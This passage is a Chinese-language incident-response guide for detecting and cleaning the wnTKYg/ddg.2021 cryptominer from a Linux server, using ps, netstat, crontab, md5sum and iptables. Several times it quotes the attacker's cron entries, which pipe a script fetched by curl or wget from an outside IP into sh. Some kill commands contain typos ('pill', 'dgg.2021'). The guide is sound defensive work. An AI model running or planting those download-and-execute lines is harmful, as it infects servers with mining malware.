四、挖礦惡意程序處理流程
4.1 異常問題定位
4.1.1 異常進程排查
(1)top 排查
使用top命令直接動態排查可能異常進程,配合 -c可以直接查找到異常進程的物理位置。
1. # top -c
(2)ps -ef 排查
- # ps -ef |grep wnTKYg
ps -ef |grep ddg.2021
(3) 疑似進程定位
[root@localhost ~]# find / -name wnTKYg*
- /tmp/wnTKYg
- [root@localhost ~]#
4.1.2 異常會話排查
(1) # netstat -pantul |grep ESTAB
查詢會話建立情況,查看是否有異常會話連接。
1. [root@MiWiFi-R3-srv tmp]# netstat -pantul |grep ESTAB
2. tcp 0 0 192.168.31.9:22 192.168.31.75:3898 ESTABLISHED 3742/sshd
3. tcp 0 0 192.168.31.9:56842 163.172.226.120:443 ESTABLISHED 7263/wnTKYg
4. tcp 0 0 192.168.31.9:22 192.168.31.75:3953 ESTABLISHED 3795/sshd
5. tcp 0 0 192.168.31.9:35286 104.131.231.181:8443 ESTABLISHED 7193/ddg.2021
6. tcp 0 0 192.168.31.9:55200 218.248.40.228:8443 ESTABLISHED 6339/curl
7. [root@MiWiFi-R3-srv tmp]#
4.1.3 計劃任務排查
(1) # crontab -l
查詢當前計劃任務中是否存在異常未知的任務被添加。
1. [root@localhost ~]# crontab -l
2. /5 * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh
3. /5 * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh
4. You have new mail in /var/spool/mail/root
(2) 直接查詢用戶任務配置文件
- [root@MiWiFi-R3-srv ~]# tree /var/spool/cron/
- /var/spool/cron/
- ├── crontabs
- │ └── root
- └── root
- 1 directory, 2 files
- [root@MiWiFi-R3-srv ~]# cat /var/spool/cron/root
- /5 * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh
- /5 * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh
- [root@MiWiFi-R3-srv ~]# cat /var/spool/cron/crontabs/root
- /5 * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh
- /5 * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh
- [root@MiWiFi-R3-srv ~]#
4.1.4 惡意程序確認
如果此時你還不確認當前程序是否是惡意程序,可以直接將定位到的疑似惡意程序進行md5 hash後進行校驗比對進行確認。
md5校驗網站:https://www.virustotal.com/#search
(1) 進行疑似文件的md5sum 哈希
1. [root@MiWiFi-R3-srv tmp]# md5sum wnTKYg
2. d3b1700a413924743caab1460129396b wnTKYg
3. [root@MiWiFi-R3-srv tmp]#
(2) 進行MD5哈希疑似病毒校驗比對
直接將疑似文件wnTKYg的md5哈希值複製到病毒校驗網站https://www.virustotal.com/#search進行查詢比對。通過比對結果,我們可以清晰的看到wnTKYg爲惡意程序。
4.2 挖礦惡意程序處理方式
4.2.1 直接清理惡意程序
(1)清除計劃任務
首先第一步需要先刪除計劃任務,因爲計劃任務會每5分鐘循環下載惡意程序並授權執行;
* 方法一
直接使用crontab命令配合參考 -r 直接情況crontab列表中的任務,使用前請確認任務列表中任何生產相關的計劃任務。
1. # crontab -r # 直接使用此命令即可上次當前用戶的計劃任務
2. #
3. # crontab -l # 直接查詢當前用戶是否還存在計劃任務
4. no crontab for root
* 方法二
在確認計劃可能還存在其他正常業務需要的時候,我可以直接編輯計劃任務的配置文件,刪除我們看到惡意寫入的計劃任務內容。
1. # vi /var/spool/cron/root
2. #
3. # /var/spool/cron/crontabs/root
分別編輯以上兩個root配置文件,刪除惡意計劃任務內容,即可。
1. /5 * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh
2. /5 * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh
3. ~
4. ~
5. ~
(2) 殺死惡意進程
第二步就殺死相關的惡意運行行爲的程序,除了wnTKYg與ddg.2021以爲,當前若存在curl程序,也應該將其殺死。
* 方法一:直接殺死程序
1. # pkill wnTKYg
2. # pkill dgg.2021
3. # pill curl
* 方法二:殺死惡意程序進程號
注:方法二往往都是在方法一不好使的時候強制來使用的。
1. # ps -ef |grep wnTKYg # 查詢惡意程序的ps進程號
2. # kill -9 PID
3. ## ps -ef |grep ddg.2021 # 查詢惡意程序的ps進程號
4. # kill -9 PID
5. ## ps -ef |grep curl # 查詢惡意程序的ps進程號
6. # kill -9 PID
(3) 清除惡意程序
清理過程的最後一步纔是進行相關惡意程序的刪除操作。
1. # rm -rf /tmp/wnTKYg
2. # rm -rf /tmp/ddg.2021
3. # rm -rf /tmp/i.sh
4.2.2 禁止服務主動訪問互聯網
禁止服務主動訪問互聯網的方法是我們快速處理挖礦惡意程序對服務器影響的最快,最有效的方法,也是一勞永逸的,當然有外面的人是怎麼進來的,不是我們這裏主題,這裏不做過多的說明。接下來就詳細的記錄與分析下我們爲什麼這麼做,怎麼做。
4.2.2.1 問題分析
- (1) wnTKYg 分析
通過對挖礦程序的運行機制我可以知道,礦工(miner)即惡意程序wnTKY的主要運行機制就是爲比特幣網絡提供底層的運算的能力,即需要主動去鏈接外網,如果此時我限制服務器主機主動訪問網絡的話,是不是就可以限制wnTKY的運行能。有過對挖礦惡意程序處理經驗的小夥伴都知道,其實挖礦惡意程序唯一做的事情就是在你爲授權的情況利用你服務主機的運算能力爲黑客搭建的礦池提供計算能力,幫他掙錢。一旦我們的服務不能主動訪問互聯網了,其實對於這裏黑客就沒有意義了,因爲此時我們的服務就無法將計算的結果提交給礦池了,也無法同步與下載計算任務了。 - (2) i.sh 與ddg.2021分析
通過前面的分析學習,我們知道ddg.2021程序是主程序也是wnTKYg的守護進程,其是由i.sh下載下來並執行的,所以對於i.sh與ddg.2021的下載,我們也要禁止掉。
4.2.2.2 如何下發網絡訪問控制
其實禁止主機主動訪問互聯的方法有很多,比如可以通過網絡中的防火牆禁止服務主動連接互聯;或者在做內網返現代理時,就不代理內網服務器都可以實現我們的目標。
不過我這裏只說明了怎麼利用我們的Linux服務器只帶的防火牆iptables來下發訪問控制,禁止服務主動連接互聯網。
* (1) 檢查惡意程序外網互聯地址
第一步就是通過會話監控命令,監控查詢惡意程序 wnTKYg、ddg.2021、curl下載的外網互聯地址;
1. [root@MiWiFi-R3-srv tmp]# netstat -pantul |grep ESTAB
2. tcp 0 0 192.168.31.9:22 192.168.31.75:3898 ESTABLISHED 3742/sshd
3. tcp 0 0 192.168.31.9:56842 163.172.226.120:443 ESTABLISHED 7263/wnTKYg
4. tcp 0 0 192.168.31.9:22 192.168.31.75:3953 ESTABLISHED 3795/sshd
5. tcp 0 0 192.168.31.9:35286 104.131.231.181:8443 ESTABLISHED 7193/ddg.2021
6. tcp 0 0 192.168.31.9:55200 218.248.40.228:8443 ESTABLISHED 6339/curl
* (2) 下發外網訪問控制策略
依據查詢出的外網互聯地址,直接下發訪問控制策略,禁止服務訪問這些網絡地址。
1. [root@MiWiFi-R3-srv tmp]# iptables -A OUTPUT -d 163.172.226.120 -j DROP
2. [root@MiWiFi-R3-srv tmp]# iptables -A OUTPUT -d 104.131.231.181 -j DROP
3. [root@MiWiFi-R3-srv tmp]# iptables -A OUTPUT -d 218.248.40.228 -j DROP
4. [root@MiWiFi-R3-srv tmp]#
4.3 找到入侵的源頭
以上所有說的這麼多都是與大家一起了解下挖礦的惡意程序是怎麼運行的,在我們的服務器到底做了些什麼,我應該如何應對這個惡意程序,當然也可以爲其他惡意程序的問題定位與處理提供借鑑與參考。
但是,歸根結底問題還是出在我們的服務上,我們的服務可能存在漏洞被人惡意利用了,服務被入侵,我們必須找到入侵的根源才能確保服務的安全。
有關服務器入侵根源的查找的方法,這裏不做展開說明了,簡單記錄下基本思路。
* (1)查找當前服務器日誌,收集可能入侵的痕跡,確認入侵的根源;
* (2)針對服務器應用和主機層面進行自查與安全掃描,確認服務器本身是否存在大的漏洞
* (3)在確認或疑似漏洞被確認後,迅速的安排進行加固修復,
* (4)建議最好對關鍵數據進行備份,重新部署系統與應用,並進行相應的安全配置,修復存在的安全漏洞,重新上線。
五、挖礦事件應急處理總結
5.1 確認挖礦事件
5.1.1 異常進程排查
- # 進程動態快速定位,使用 top -c可快速定位異常經常的物理位置,查詢異常進程。
- # top -c
- # ps -ef 排查
- # ps -ef |grep wnTKYg
- # ps -ef |grep ddg.2021
- # 疑似進程定位
- [root@localhost ~]# find / -name wnTKYg*
- /tmp/wnTKYg
[root@localhost ~]#
5.1.2 異常會話排查查詢會話建立情況,查看是否有異常會話連接。
netstat -pantul |grep ESTAB
5.1.3 計劃任務查詢
[root@localhost ~]# crontab -l
- /5 * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh
- /5 * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh
- You have new mail in /var/spool/mail/root
5.1.4 異常病毒校驗
第一步:使用md5sum 命令進行疑似文件哈希
1. # md5sum wnTKYg
2. d3b1700a413924743caab1460129396b wnTKYg
第二步:進行疑似病毒MD5哈希值的校驗比對
直接將疑似文件wnTKYg的md5哈希值複製到病毒校驗網站https://www.virustotal.com/#search進行查詢比對。通過比對結果,我們可以確認疑似文件是否是惡意程序。
5.2 處理惡意程序
5.2.1 清除計劃任務
- # crontab -r # 直接使用此命令即可上次當前用戶的計劃任務
- #
- # crontab -l # 直接查詢當前用戶是否還存在計劃任務
no crontab for root
5.2.2 殺死惡意進程pkill wnTKYg
- # pkill dgg.2021
pill curl
5.2.3 清除惡意進程
rm -rf /tmp/wnTKYg
- # rm -rf /tmp/ddg.2021
- # rm -rf /tmp/i.sh
5.2.4 下發訪問控制策略
下發訪問控制策略,禁止服務互聯三個惡意程序外聯的外網地址。
1. # 查詢惡意進程外網互聯地址
2. #
3. # netstat -pantul |grep ESTAB
4. tcp 0 0 192.168.31.9:22 192.168.31.75:3898 ESTABLISHED 3742/sshd
5. tcp 0 0 192.168.31.9:56842 163.172.226.120:443 ESTABLISHED 7263/wnTKYg
6. tcp 0 0 192.168.31.9:22 192.168.31.75:3953 ESTABLISHED 3795/sshd
7. tcp 0 0 192.168.31.9:35286 104.131.231.181:8443 ESTABLISHED 7193/ddg.2021
8. tcp 0 0 192.168.31.9:55200 218.248.40.228:8443 ESTABLISHED 6339/curl
9. # 下發放控制策略,禁止服務的外網互聯
10. #
11. # iptables -A OUTPUT -d 163.172.226.120 -j DROP
12. # iptables -A OUTPUT -d 104.131.231.181 -j DROP
13. # iptables -A OUTPUT -d 218.248.40.228 -j DROP